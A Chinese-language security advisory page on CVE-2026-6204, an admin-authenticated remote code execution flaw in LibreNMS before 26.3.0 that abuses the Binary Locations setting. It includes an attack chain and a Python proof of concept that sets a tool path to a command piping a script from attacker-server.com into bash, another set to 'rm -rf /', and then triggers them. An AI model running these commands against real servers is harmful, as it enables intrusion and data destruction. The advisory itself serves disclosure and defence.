IPBUF安全漏洞报告
English
CVE-2026-6204 CVSS 7.2 高危

CVE-2026-6204 LibreNMS 认证远程代码执行漏洞

披露日期: 2026-04-13
来源: ab69c47f-b95e-4bf2-b2d9-4b1fd1b24b4a

漏洞信息

漏洞编号
CVE-2026-6204
漏洞类型
远程代码执行
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
LibreNMS

相关标签

RCELibreNMS远程代码执行权限提升Netcommand

漏洞概述

LibreNMS 26.3.0 之前的版本存在一个严重的认证远程代码执行(RCE)漏洞。该漏洞源于应用程序对“Binary Locations”配置项的处理不当,结合 Netcommand 功能可以被滥用。攻击者必须拥有管理员权限才能利用此漏洞。通过修改特定的二进制路径配置,攻击者能够在底层 Web 服务器上执行任意系统命令。成功利用该漏洞可能导致攻击者完全控制受影响的服务器,造成数据泄露、服务中断或进一步的横向移动。

技术细节

该漏洞的核心机制在于 LibreNMS 允许管理员通过 Web 界面自定义系统工具的路径(Binary Locations),例如用于网络诊断的 Ping 或 Traceroute 工具。攻击者在获得管理员权限后,可以导航至设置页面,将这些受信二进制文件的路径修改为恶意构造的系统命令(如 Bash 脚本或反向 Shell 命令)。当 LibreNMS 系统后续执行 Netcommand 功能(例如添加设备进行自动检测或手动触发网络诊断)时,会调用用户配置的路径。由于缺乏严格的输入校验和路径合法性验证,应用将直接执行攻击者注入的恶意命令。命令通常以 Web 服务器的用户身份(如 www-data)运行,从而使攻击者获得服务器操作系统的访问权限。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标系统运行的是 LibreNMS,且版本低于 26.3.0。
STEP 2
2. 获取初始访问
攻击者通过钓鱼、暴力破解或其他手段获取 LibreNMS 的管理员账号凭证。
STEP 3
3. 漏洞利用
攻击者登录后台,修改“Binary Locations”配置,将系统工具路径替换为恶意命令(如反弹 Shell)。
STEP 4
4. 执行命令
攻击者触发 Netcommand 功能(如添加设备或执行 Ping 测试),迫使服务器执行恶意配置的命令。
STEP 5
5. 建立立足点
攻击者获得目标服务器的 Shell 权限,进而进行后续的提权、数据窃取或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Concept for CVE-2026-6204 # This script demonstrates how an authenticated admin might exploit the Binary Location configuration. import requests # Target configuration target_url = "http://librenms-example.com" username = "admin" password = "your_admin_password" # Initialize session session = requests.Session() # 1. Login to obtain session cookie login_payload = { "username": username, "password": password } session.post(f"{target_url}/login", data=login_payload) # 2. Update Binary Location configuration # Exploit: Changing 'fping' path to a malicious command # Depending on the specific UI/API endpoint, the parameter names may vary. config_payload = { "fping": "/bin/bash -c 'curl http://attacker-server.com/shell.sh | bash'", "fping6": "/bin/bash -c 'rm -rf /'" # Example of destructive command } # Sending the configuration update request # Endpoint is hypothetical based on standard LibreNMS structure response = session.post(f"{target_url}/settings/ binaries/update", data=config_payload) if response.status_code == 200: print("[+] Configuration updated successfully.") # 3. Trigger Exploitation # Force LibreNMS to execute the Netcommand (e.g., by adding a dummy device) trigger_payload = { "hostname": "192.168.1.100", "type": "server", "snmp": "on" } session.post(f"{target_url}/addhost", data=trigger_payload) print("[+] Triggered Netcommand. Check your listener.") else: print("[-] Failed to update configuration.")

影响范围

LibreNMS < 26.3.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用非必要的管理员账号,并严格监控 Web 服务器的系统进程,查找异常的 Shell 进程。同时,检查并确保 Web 服务器文件系统权限配置正确,防止 Web 用户写入敏感目录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表